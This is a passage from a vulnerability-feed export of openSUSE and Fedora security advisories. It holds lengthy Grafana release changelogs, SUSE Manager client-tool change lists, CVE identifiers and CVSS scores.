@aknuds1 Alerting: Fixed bad background\n color for default notifications in alert tab . #22660, @krvajal\n Annotations: In table panel when setting transform to annotation, they\n will now show up right away without a manual refresh. #22323, @krvajal\n Azure Monitor: Fix app insights source to allow for new __timeFrom and\n __timeTo. #21879, @ChadNedzlek BackendSrv: Fixes POST body for form\n data. #21714, @hugohaggmark CloudWatch: Credentials cache invalidation\n fix. #22473, @sunker CloudWatch: Expand alias variables when query\n yields no result. #22695, @sunker Dashboard: Fix bug with NaN in\n alerting. #22053, @a-melnyk Explore: Fix display of multiline logs in\n log panel and explore. #22057, @thomasdraebing Heatmap: Legend color\n range is incorrect when using custom min/max. #21748, @sv5d Security:\n Fixed XSS issue in dashboard history diff . #22680, @torkelo\n StatPanel: Fixes base color is being used for null values . #22646,\n @torkelo\n - Update to version 6.6.2: (see installed changelog for the full list of\n changes)\n - Update to version 6.6.1: (see installed changelog for the full list of\n changes)\n - Update to version 6.6.0: (see installed changelog for the full list of\n changes)\n - Update to version 6.5.3: (see installed changelog for the full list of\n changes)\n - Update to version 6.5.2: (see installed changelog for the full list of\n changes)\n - Update to version 6.5.1: (see installed changelog for the full list of\n changes)\n - Update to version 6.5.0 (see installed changelog for the full list of\n changes)\n - Update to version 6.4.5:\n * Create version 6.4.5\n * CloudWatch: Fix high CPU load (#20579)\n - Add obs-service-go_modules to download required modules into\n vendor.tar.gz\n - Adjusted spec file to use vendor.tar.gz\n - Adjusted Makefile to work with new filenames\n - BuildRequire go1.14\n - Update to version 6.4.4:\n * DataLinks: Fix blur issues. #19883, @aocenas\n * Docker: Makes it possible to parse timezones in the docker image.\n #20081, @xlson\n * LDAP: All LDAP servers should be tried even if one of them returns a\n connection error. #20077, @jongyllen\n * LDAP: No longer shows incorrectly matching groups based on role in\n debug page. #20018, @xlson\n * Singlestat: Fix no data / null value mapping . #19951, @ryantxu\n - Revert the spec file and make script\n - Remove PhantomJS dependency\n - Update to 6.4.3\n * Bug Fixes\n - Alerting: All notification channels should send even if one fails to\n send. #19807, @jan25\n - AzureMonitor: Fix slate interference with dropdowns. #19799, @aocenas\n - ContextMenu: make ContextMenu positioning aware of the viewport\n width. #19699, @krvajal\n - DataLinks: Fix context menu not showing in singlestat-ish\n visualisations. #19809, @dprokop\n - DataLinks: Fix url field not releasing focus. #19804, @aocenas\n - Datasource: Fixes clicking outside of some query editors required 2\n clicks. #19822, @aocenas\n - Panels: Fixes default tab for visualizations without Queries Tab.\n #19803, @hugohaggmark\n - Singlestat: Fixed issue with mapping null to text. #19689, @torkelo\n - @grafana/toolkit: Don't fail plugin creation when git user.name\n config is not set. #19821, @dprokop\n - @grafana/toolkit: TSLint line number off by 1. #19782, @fredwangwang\n - Update to 6.4.2\n * Bug Fixes\n - CloudWatch: Changes incorrect dimension wmlid to wlmid . #19679,\n @ATTron\n - Grafana Image Renderer: Fixes plugin page. #19664, @hugohaggmark\n - Graph: Fixes auto decimals logic for y axis ticks that results in\n too many decimals for high values. #19618, @torkelo\n - Graph: Switching to series mode should re-render graph. #19623,\n @torkelo\n - Loki: Fix autocomplete on label values. #19579, @aocenas\n - Loki: Removes live option for logs panel. #19533, @davkal\n - Profile: Fix issue with user profile not showing more than sessions\n sessions in some cases. #19578, @huynhsamha\n - Prometheus: Fixes so results in Panel always are sorted by query\n order. #19597, @hugohaggmark\n - ShareQuery: Fixed issue when using -- Dashboard -- datasource (to\n share query result) when dashboard had rows. #19610, @torkelo\n - Show SAML login button if SAML is enabled. #19591, @papagian\n - SingleStat: Fixes postfix/prefix usage. #19687, @hugohaggmark\n - Table: Proper handling of json data with dataframes. #19596, @marefr\n - Units: Fixed wrong id for Terabits/sec. #19611, @andreaslangnevyjel\n - Changes from 6.4.1\n * Bug Fixes\n - Provisioning: Fixed issue where empty nested keys in YAML\n provisioning caused a server crash, #19547\n - ImageRendering: Fixed issue with image rendering in enterprise build\n (Enterprise)\n - Reporting: Fixed issue with reporting service when STMP was disabled\n (Enterprise).\n - Changes from 6.4.0\n * Features / Enhancements\n - Build: Upgrade go to 1.12.10. #19499, @marefr\n - DataLinks: Suggestions menu improvements. #19396, @dprokop\n - Explore: Take root_url setting into account when redirecting from\n dashboard to explore. #19447, @ivanahuckova\n - Explore: Update broken link to logql docs. #19510, @ivanahuckova\n - Logs: Adds Logs Panel as a visualization. #19504, @davkal\n * Bug Fixes\n - CLI: Fix version selection for plugin install. #19498, @aocenas\n - Graph: Fixes minor issue with series override color picker and\n custom color . #19516, @torkelo\n - Changes from 6.4.0 Beta 2\n * Features / Enhancements\n - Azure Monitor: Remove support for cross resource queries (#19115)".\n #19346, @sunker\n - Docker: Upgrade packages to resolve reported vulnerabilities.\n #19188, @marefr\n - Graphite: Time range expansion reduced from 1 minute to 1 second.\n #19246, @torkelo\n - grafana/toolkit: Add plugin creation task. #19207, @dprokop\n * Bug Fixes\n - Alerting: Prevents creating alerts from unsupported queries. #19250,\n @hugohaggmark\n - Alerting: Truncate PagerDuty summary when greater than 1024\n characters. #18730, @nvllsvm\n - Cloudwatch: Fix autocomplete for Gamelift dimensions. #19146,\n @kevinpz\n - Dashboard: Fix export for sharing when panels use default data\n source. #19315, @torkelo\n - Database: Rewrite system statistics query to perform better. #19178,\n @papagian\n - Gauge/BarGauge: Fix issue with [object Object] in titles . #19217,\n @ryantxu\n - MSSQL: Revert usage of new connectionstring format introduced by\n #18384. #19203, @marefr\n - Multi-LDAP: Do not fail-fast on invalid credentials. #19261, @gotjosh\n - MySQL, Postgres, MSSQL: Fix validating query with template variables\n in alert . #19237, @marefr\n - MySQL, Postgres: Update raw sql when query builder updates. #19209,\n @marefr\n - MySQL: Limit datasource error details returned from the backend.\n #19373, @marefr\n - Changes from 6.4.0 Beta 1\n * Features / Enhancements\n - API: Readonly datasources should not be created via the API. #19006,\n @papagian\n - Alerting: Include configured AlertRuleTags in Webhooks notifier.\n #18233, @dominic-miglar\n - Annotations: Add annotations support to Loki. #18949, @aocenas\n - Annotations: Use a single row to represent a region. #17673, @ryantxu\n - Auth: Allow inviting existing users when login form is disabled.\n #19048, @548017\n - Azure Monitor: Add support for cross resource queries. #19115,\n @sunker\n - CLI: Allow installing custom binary plugins. #17551, @aocenas\n - Dashboard: Adds Logs Panel (alpha) as visualization option for\n Dashboards. #18641, @hugohaggmark\n - Dashboard: Reuse query results between panels . #16660, @ryantxu\n - Dashboard: Set time to to 23:59:59 when setting To time using\n calendar. #18595, @simPod\n - DataLinks: Add DataLinks support to Gauge, BarGauge and SingleStat2\n panel. #18605, @ryantxu\n - DataLinks: Enable access to labels & field names. #18918, @torkelo\n - DataLinks: Enable multiple data links per panel. #18434, @dprokop\n - Docker: switch docker image to alpine base with phantomjs support.\n #18468, @DanCech\n - Elasticsearch: allow templating queries to order by doc_count.\n #18870, @hackery\n - Explore: Add throttling when doing live queries. #19085, @aocenas\n - Explore: Adds ability to go back to dashboard, optionally with query\n changes. #17982, @kaydelaney\n - Explore: Reduce default time range to last hour. #18212, @davkal\n - Gauge/BarGauge: Support decimals for min/max. #18368, @ryantxu\n - Graph: New series override transform constant that renders a single\n point as a line across the whole graph. #19102, @davkal\n - Image rendering: Add deprecation warning when PhantomJS is used for\n rendering images. #18933, @papagian\n - InfluxDB: Enable interpolation within ad-hoc filter values. #18077,\n @kvc-code\n - LDAP: Allow an user to be synchronized against LDAP. #18976, @gotjosh\n - Ldap: Add ldap debug page. #18759, @peterholmberg\n - Loki: Remove prefetching of default label values. #18213, @davkal\n - Metrics: Add failed alert notifications metric. #18089, @koorgoo\n - OAuth: Support JMES path lookup when retrieving user email. #14683,\n @bobmshannon\n - OAuth: return GitLab groups as a part of user info (enable team\n sync). #18388, @alexanderzobnin\n - Panels: Add unit for electrical charge - ampere-hour. #18950,\n @anirudh-ramesh\n - Plugin: AzureMonitor - Reapply MetricNamespace support. #17282,\n @raphaelquati\n - Plugins: better warning when plugins fail to load. #18671, @ryantxu\n - Postgres: Add support for scram sha 256 authentication. #18397,\n @nonamef\n - RemoteCache: Support SSL with Redis. #18511, @kylebrandt\n - SingleStat: The gauge option in now disabled/hidden (unless it's an\n old panel with it already enabled) . #18610, @ryantxu\n - Stackdriver: Add extra alignment period options. #18909, @sunker\n - Units: Add South African Rand (ZAR) to currencies. #18893, @jeteon\n - Units: Adding T,P,E,Z,and Y bytes. #18706, @chiqomar\n * Bug Fixes\n - Alerting: Notification is sent when state changes from no_data to\n ok. #18920, @papagian\n - Alerting: fix duplicate alert states when the alert fails to save to\n the database. #18216, @kylebrandt\n - Alerting: fix response popover prompt when add notification\n channels. #18967, @lzdw\n - CloudWatch: Fix alerting for queries with Id (using GetMetricData).\n #17899, @alex-berger\n - Explore: Fix auto completion on label values for Loki. #18988,\n @aocenas\n - Explore: Fixes crash using back button with a zoomed in graph.\n #19122, @hugohaggmark\n - Explore: Fixes so queries in Explore are only run if Graph/Table is\n shown. #19000, @hugohaggmark\n - MSSQL: Change connectionstring to URL format to fix using passwords\n with semicolon. #18384, @Russiancold\n - MSSQL: Fix memory leak when debug enabled. #19049, @briangann\n - Provisioning: Allow escaping literal '$' with '$$' in configs to\n avoid interpolation. #18045, @kylebrandt\n - TimePicker: Fixes hiding time picker dropdown in FireFox. #19154,\n @hugohaggmark\n * Breaking changes\n + Annotations There are some breaking changes in the annotations HTTP\n API for region annotations. Region annotations are now represented\n using a single event instead of two seperate events. Check breaking\n changes in HTTP API below and HTTP API documentation for more\n details.\n + Docker Grafana is now using Alpine 3.10 as docker base image.\n + HTTP API\n - GET /api/alert-notifications now requires at least editor access.\n New /api/alert-notifications/lookup returns less information than\n /api/alert-notifications and can be access by any authenticated user.\n - GET /api/alert-notifiers now requires at least editor access\n - GET /api/org/users now requires org admin role. New\n /api/org/users/lookup returns less information than /api/org/users and can\n be access by users that are org admins, admin in any folder or admin of\n any team.\n - GET /api/annotations no longer returns regionId property.\n - POST /api/annotations no longer supports isRegion property.\n - PUT /api/annotations/:id no longer supports isRegion property.\n - PATCH /api/annotations/:id no longer supports isRegion property.\n - DELETE /api/annotations/region/:id has been removed.\n * Deprecation notes\n + PhantomJS\n - PhantomJS, which is used for rendering images of dashboards and\n panels, is deprecated and will be removed in a future Grafana release. A\n deprecation warning will from now on be logged when Grafana starts up if\n PhantomJS is in use. Please consider migrating from PhantomJS to the\n Grafana Image Renderer plugin.\n - Changes from 6.3.6\n * Features / Enhancements\n - Metrics: Adds setting for turning off total stats metrics. #19142,\n @marefr\n * Bug Fixes\n - Database: Rewrite system statistics query to perform better. #19178,\n @papagian\n - Explore: Fixes error when switching from prometheus to loki data\n sources. #18599, @kaydelaney\n - Rebase package spec. Use mostly from fedora, fix suse specified things\n and fix some errors.\n - Add missing directories provisioning/datasources and\n provisioning/notifiers and sample.yaml as described in\n packaging/rpm/control from upstream. Missing directories are shown in\n logfiles.\n - Version 6.3.5\n * Upgrades\n + Build: Upgrade to go 1.12.9.\n * Bug Fixes\n + Dashboard: Fixes dashboards init failed loading error for dashboards\n with panel links that had missing properties.\n + Editor: Fixes issue where only entire lines were being copied.\n + Explore: Fixes query field layout in splitted view for Safari\n browsers.\n + LDAP: multildap + ldap integration.\n + Profile/UserAdmin: Fix for user agent parser crashes grafana-server\n on 32-bit builds.\n + Prometheus: Prevents panel editor crash when switching to Prometheus\n datasource.\n + Prometheus: Changes brace-insertion behavior to be less annoying.\n - Version 6.3.4\n * Security: CVE-2019-15043 - Parts of the HTTP API allow unauthenticated\n use.\n - Version 6.3.3\n * Bug Fixes\n + Annotations: Fix failing annotation query when time series query is\n cancelled. #18532 1, @dprokop 1\n + Auth: Do not set SameSite cookie attribute if cookie_samesite is\n none. #18462 1, @papagian 3\n + DataLinks: Apply scoped variables to data links correctly. #18454 1,\n @dprokop 1\n + DataLinks: Respect timezone when displaying datapoint\u00e2\u0080\u0099s timestamp\n in graph context menu. #18461 2, @dprokop 1\n + DataLinks: Use datapoint timestamp correctly when interpolating\n variables. #18459 1, @dprokop 1\n + Explore: Fix loading error for empty queries. #18488 1, @davkal\n + Graph: Fixes legend issue clicking on series line icon and issue\n with horizontal scrollbar being visible on windows. #18563 1,\n @torkelo 2\n + Graphite: Avoid glob of single-value array variables . #18420,\n @gotjosh\n + Prometheus: Fix queries with label_replace remove the $1 match when\n loading query editor. #18480 5, @hugohaggmark 3\n + Prometheus: More consistently allows for multi-line queries in\n editor. #18362 2, @kaydelaney 2\n + TimeSeries: Assume values are all numbers. #18540 4, @ryantxu\n - Version 6.3.2\n * Bug Fixes\n + Gauge/BarGauge: Fixes issue with losts thresholds and issue loading\n Gauge with avg stat. #18375 12\n - Version 6.3.1\n * Bug Fixes\n + PanelLinks: Fix crash issue Gauge & Bar Gauge for panels with panel\n links (drill down links). #18430 2\n - Version 6.3.0\n * Features / Enhancements\n + OAuth: Do not set SameSite OAuth cookie if cookie_samesite is None.\n #18392 4, @papagian 3\n + Auth Proxy: Include additional headers as part of the cache key.\n #18298 6, @gotjosh\n + Build grafana images consistently. #18224 12, @hassanfarid\n + Docs: SAML. #18069 11, @gotjosh\n + Permissions: Show plugins in nav for non admin users but hide plugin\n configuration. #18234 1, @aocenas\n + TimePicker: Increase max height of quick range dropdown. #18247 2,\n @torkelo 2\n + Alerting: Add tags to alert rules. #10989 13, @Thib17 1\n + Alerting: Attempt to send email notifications to all given email\n addresses. #16881 1, @zhulongcheng\n + Alerting: Improve alert rule testing. #16286 2, @marefr\n + Alerting: Support for configuring content field for Discord alert\n notifier. #17017 2, @jan25\n + Alertmanager: Replace illegal chars with underscore in label names.\n #17002 5, @bergquist 1\n + Auth: Allow expiration of API keys. #17678, @papagian 3\n + Auth: Return device, os and browser when listing user auth tokens in\n HTTP API. #17504, @shavonn 1\n + Auth: Support list and revoke of user auth tokens in UI. #17434 2,\n @shavonn 1\n + AzureMonitor: change clashing built-in Grafana variables/macro names\n for Azure Logs. #17140, @shavonn 1\n + CloudWatch: Made region visible for AWS Cloudwatch Expressions.\n #17243 2, @utkarshcmu\n + Cloudwatch: Add AWS DocDB metrics. #17241, @utkarshcmu\n + Dashboard: Use timezone dashboard setting when exporting to CSV.\n #18002 1, @dehrax\n + Data links. #17267 11, @torkelo 2\n + Docker: Switch base image to ubuntu:latest from debian:stretch to\n avoid security issues\u00e2\u0080\u00a6 #17066 5, @bergquist 1\n + Elasticsearch: Support for visualizing logs in Explore . #17605 7,\n @marefr\n + Explore: Adds Live option for supported datasources. #17062 1,\n @hugohaggmark 3\n + Explore: Adds orgId to URL for sharing purposes. #17895 1,\n @kaydelaney 2\n + Explore: Adds support for new loki \u00e2\u0080\u0098start\u00e2\u0080\u0099 and \u00e2\u0080\u0098end\u00e2\u0080\u0099 params\n for labels endpoint. #17512, @kaydelaney 2\n + Explore: Adds support for toggling raw query mode in explore.\n #17870, @kaydelaney 2\n + Explore: Allow switching between metrics and logs . #16959 2, @marefr\n + Explore: Combines the timestamp and local time columns into one.\n #17775, @hugohaggmark 3\n + Explore: Display log lines context . #17097, @dprokop 1\n + Explore: Don\u00e2\u0080\u0099t parse log levels if provided by field or label.\n #17180 1, @marefr\n + Explore: Improves performance of Logs element by limiting\n re-rendering. #17685, @kaydelaney 2\n + Explore: Support for new LogQL filtering syntax. #16674 4, @davkal\n + Explore: Use new TimePicker from Grafana/UI. #17793, @hugohaggmark 3\n + Explore: handle newlines in LogRow Highlighter. #17425, @rrfeng 1\n + Graph: Added new fill gradient option. #17528 3, @torkelo 2\n + GraphPanel: Don\u00e2\u0080\u0099t sort series when legend table & sort column is\n not visible . #17095, @shavonn 1\n + InfluxDB: Support for visualizing logs in Explore. #17450 9,\n @hugohaggmark 3\n + Logging: Login and Logout actions (#17760). #17883 1, @ATTron\n + Logging: Move log package to pkg/infra. #17023, @zhulongcheng\n + Metrics: Expose stats about roles as metrics. #17469 2, @bergquist 1\n + MySQL/Postgres/MSSQL: Add parsing for day, weeks and year intervals\n in macros. #13086 6, @bernardd\n + MySQL: Add support for periodically reloading client certs. #14892,\n @tpetr\n + Plugins: replace dataFormats list with skipDataQuery flag in\n plugin.json. #16984, @ryantxu\n + Prometheus: Take timezone into account for step alignment. #17477,\n @fxmiii\n + Prometheus: Use overridden panel range for $__range instead of\n dashboard range. #17352, @patrick246\n + Prometheus: added time range filter to series labels query. #16851\n 3, @FUSAKLA\n + Provisioning: Support folder that doesn\u00e2\u0080\u0099t exist yet in dashboard\n provisioning. #17407 1, @Nexucis\n + Refresh picker: Handle empty intervals. #17585 1, @dehrax\n + Singlestat: Add y min/max config to singlestat sparklines. #17527 4,\n @pitr\n + Snapshot: use given key and deleteKey. #16876, @zhulongcheng\n + Templating: Correctly display __text in multi-value variable after\n page reload. #17840 1, @EduardSergeev\n + Templating: Support selecting all filtered values of a multi-value\n variable. #16873 2, @r66ad\n + Tracing: allow propagation with Zipkin headers. #17009 4, @jrockway\n + Users: Disable users removed from LDAP. #16820 2, @alexanderzobnin\n * Bug Fixes\n + PanelLinks: Fix render issue when there is no panel description.\n #18408 3, @dehrax\n + OAuth: Fix \u00e2\u0080\u009cmissing saved state\u00e2\u0080\u009d OAuth login failure due to\n SameSite cookie policy. #18332 1, @papagian 3\n + cli: fix for recognizing when in dev mode\u00e2\u0080\u00a6 #18334, @xlson\n + DataLinks: Fixes incorrect interpolation of ${__series_name} .\n #18251 1, @torkelo 2\n + Loki: Display live tailed logs in correct order in Explore. #18031\n 3, @kaydelaney 2\n + PhantomJS: Fixes rendering on Debian Buster. #18162 2, @xlson\n + TimePicker: Fixed style issue for custom range popover. #18244,\n @torkelo 2\n + Timerange: Fixes a bug where custom time ranges didn\u00e2\u0080\u0099t respect\n UTC. #18248 1, @kaydelaney 2\n + remote_cache: Fix redis connstr parsing. #18204 1, @mblaschke\n + AddPanel: Fix issue when removing moved add panel widget . #17659 2,\n @dehrax\n + CLI: Fix encrypt-datasource-passwords fails with sql error. #18014,\n @marefr\n + Elasticsearch: Fix default max concurrent shard requests. #17770 4,\n @marefr\n + Explore: Fix browsing back to dashboard panel. #17061, @jschill\n + Explore: Fix filter by series level in logs graph. #17798, @marefr\n + Explore: Fix issues when loading and both graph/table are collapsed.\n #17113, @marefr\n + Explore: Fix selection/copy of log lines. #17121, @marefr\n + Fix: Wrap value of multi variable in array when coming from URL.\n #16992 1, @aocenas\n + Frontend: Fix for Json tree component not working. #17608, @srid12\n + Graphite: Fix for issue with alias function being moved last.\n #17791, @torkelo 2\n + Graphite: Fixes issue with seriesByTag & function with variable\n param. #17795, @torkelo 2\n + Graphite: use POST for /metrics/find requests. #17814 2, @papagian 3\n + HTTP Server: Serve Grafana with a custom URL path prefix. #17048 6,\n @jan25\n + InfluxDB: Fixes single quotes are not escaped in label value\n filters. #17398 1, @Panzki\n + Prometheus: Correctly escape \u00e2\u0080\u0098|\u00e2\u0080\u0099 literals in interpolated PromQL\n variables. #16932, @Limess\n + Prometheus: Fix when adding label for metrics which contains colons\n in Explore. #16760, @tolwi\n + SinglestatPanel: Remove background color when value turns null.\n #17552 1, @druggieri\n - Make phantomjs dependency configurable\n - Create plugin directory and clean up (create in %install, add to %files)\n handling of /var/lib/grafana/* and\n\n koan:\n\n - Calculate relative path for kernel and inited when generating grub entry\n (bsc#1170231)\n - Fix os-release version detection for SUSE\n\n mgr-cfg:\n\n - Remove commented code in test files\n - Replace spacewalk-usix with uyuni-common-libs\n - Bump version to 4.1.0 (bsc#1154940)\n - Add mgr manpage links\n\n mgr-custom-info:\n\n - Bump version to 4.1.0 (bsc#1154940)\n\n mgr-daemon:\n\n - Bump version to 4.1.0 (bsc#1154940)\n - Fix systemd timer configuration on SLE12 (bsc#1142038)\n\n mgr-osad:\n\n - Separate osa-dispatcher and jabberd so it can be disabled independently\n - Replace spacewalk-usix with uyuni-common-libs\n - Bump version to 4.1.0 (bsc#1154940)\n - Move /usr/share/rhn/config-defaults to uyuni-base-common\n - Require uyuni-base-common for /etc/rhn (for osa-dispatcher)\n - Ensure bytes type when using hashlib to avoid traceback (bsc#1138822)\n\n mgr-push:\n\n - Replace spacewalk-usix and spacewalk-backend-libs with uyuni-common-libs\n - Bump version to 4.1.0 (bsc#1154940)\n\n mgr-virtualization:\n\n - Replace spacewalk-usix with uyuni-common-libs\n - Bump version to 4.1.0 (bsc#1154940)\n - Fix mgr-virtualization timer\n\n rhnlib:\n\n - Fix building\n - Fix malformed XML response when data contains non-ASCII chars\n (bsc#1154968)\n - Bump version to 4.1.0 (bsc#1154940)\n - Fix bootstrapping SLE11SP4 trad client with SSL enabled (bsc#1148177)\n\n spacecmd:\n\n - Only report real error, not result (bsc#1171687)\n - Use defined return values for spacecmd methods so scripts can check for\n failure (bsc#1171687)\n - Disable globbing for api subcommand to allow wildcards in filter\n settings (bsc#1163871)\n - Bugfix: attempt to purge SSM when it is empty (bsc#1155372)\n - Bump version to 4.1.0 (bsc#1154940)\n - Prevent error when piping stdout in Python 2 (bsc#1153090)\n - Java api expects content as encoded string instead of encoded bytes like\n before (bsc#1153277)\n - Enable building and installing for Ubuntu 16.04 and Ubuntu 18.04\n - Add unit test for schedule, errata, user, utils, misc, configchannel and\n kickstart modules\n - Multiple minor bugfixes alongside the unit tests\n - Bugfix: referenced variable before assignment.\n - Add unit test for report, package, org, repo and group\n\n spacewalk-client-tools:\n\n - Add workaround for uptime overflow to spacewalk-update-status as well\n (bsc#1165921)\n - Spell correctly "successful" and "successfully"\n - Skip dmidecode data on aarch64 to prevent coredump (bsc#1113160)\n - Replace spacewalk-usix with uyuni-common-libs\n - Return a non-zero exit status on errors in rhn_check\n - Bump version to 4.1.0 (bsc#1154940)\n - Make a explicit requirement to systemd for spacewalk-client-tools when\n rhnsd timer is installed\n\n spacewalk-koan:\n\n - Bump version to 4.1.0 (bsc#1154940)\n - Require commands we use in merge-rd.sh\n\n spacewalk-oscap:\n\n - Bump version to 4.1.0 (bsc#1154940)\n\n spacewalk-remote-utils:\n\n - Update spacewalk-create-channel with RHEL 7.7 channel definitions\n - Bump version to 4.1.0 (bsc#1154940)\n\n supportutils-plugin-susemanager-client:\n\n - Bump version to 4.1.0 (bsc#1154940)\n\n suseRegisterInfo:\n\n - SuseRegisterInfo only needs perl-base, not full perl (bsc#1168310)\n - Bump version to 4.1.0 (bsc#1154940)\n\n zypp-plugin-spacewalk:\n\n - 1.0.7\n - Prevent issue with non-ASCII characters in Python 2 systems (bsc#1172462)\n\n\n This update was imported from the SUSE:SLE-15:Update update project.\n\n", "edition": 1, "modified": "2020-07-28T00:12:36", "published": "2020-07-28T00:12:36", "id": "OPENSUSE-SU-2020:1105-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00083.html", "title": "Security update for SUSE Manager Client Tools (moderate)", "type": "suse", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}}, {"lastseen": "2020-10-04T20:43:26", "bulletinFamily": "unix", "cvelist": ["CVE-2020-12245", "CVE-2019-15043", "CVE-2020-13379", "CVE-2018-19039"], "description": "This update for grafana fixes the following issues:\n\n grafana was updated to version 7.1.5:\n\n * Features / Enhancements\n\n - Stats: Stop counting the same user multiple times.\n - Field overrides: Filter by field name using regex.\n - AzureMonitor: map more units.\n - Explore: Don't run queries on datasource change.\n - Graph: Support setting field unit & override data source (automatic)\n unit.\n - Explore: Unification of logs/metrics/traces user interface\n - Table: JSON Cell should try to convert strings to JSON\n - Variables: enables cancel for slow query variables queries.\n - TimeZone: unify the time zone pickers to one that can rule them all.\n - Search: support URL query params.\n - Grafana-UI: Add FileUpload.\n - TablePanel: Sort numbers correctly.\n\n * Bug fixes\n\n - Alerting: remove LongToWide call in alerting.\n - AzureMonitor: fix panic introduced in 7.1.4 when unit was\n unspecified and alias was used.\n - Variables: Fixes issue with All variable not being resolved.\n - Templating: Fixes so texts show in picker not the values.\n - Templating: Templating: Fix undefined result when using raw\n interpolation format\n - TextPanel: Fix content overflowing panel boundaries.\n - StatPanel: Fix stat panel display name not showing when explicitly\n set.\n - Query history: Fix search filtering if null value.\n - Flux: Ensure connections to InfluxDB are closed.\n - Dashboard: Fix for viewer can enter panel edit mode by modifying url\n (but cannot not save anything).\n - Prometheus: Fix prom links in mixed mode.\n - Sign In Use correct url for the Sign In button.\n - StatPanel: Fixes issue with name showing for single series / field\n results\n - BarGauge: Fix space bug in single series mode.\n - Auth: Fix POST request failures with anonymous access\n - Templating: Fix recursive loop of template variable queries when\n changing ad-hoc-variable\n - Templating: Fixed recursive queries triggered when switching\n dashboard settings view\n - GraphPanel: Fix annotations overflowing panels.\n - Prometheus: Fix performance issue in processing of histogram labels.\n - Datasources: Handle URL parsing error.\n - Security: Use Header.Set and Header.Del for X-Grafana-User header.\n\n", "edition": 1, "modified": "2020-10-04T18:15:22", "published": "2020-10-04T18:15:22", "id": "OPENSUSE-SU-2020:1611-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00009.html", "title": "Security update for grafana (moderate)", "type": "suse", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}}], "fedora": [{"lastseen": "2020-12-21T08:17:56", "bulletinFamily": "unix", "cvelist": ["CVE-2020-12458", "CVE-2020-12459", "CVE-2020-13379"], "description": "Grafana is an open source, feature rich metrics dashboard and graph editor for Graphite, InfluxDB & OpenTSDB. ", "modified": "2020-06-16T01:31:15", "published": "2020-06-16T01:31:15", "id": "FEDORA:6B2F331352FF", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 32 Update: grafana-6.7.4-1.fc32", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}}, {"lastseen": "2020-12-21T08:17:56", "bulletinFamily": "unix", "cvelist": ["CVE-2019-15043", "CVE-2020-12458", "CVE-2020-12459", "CVE-2020-13379"], "description": "Grafana is an open source, feature rich metrics dashboard and graph editor for Graphite, InfluxDB & OpenTSDB. ", "modified": "2020-06-15T02:07:15", "published": "2020-06-15T02:07:15", "id": "FEDORA:77DCE3126D28", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 31 Update: grafana-6.7.4-1.fc31", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}}]}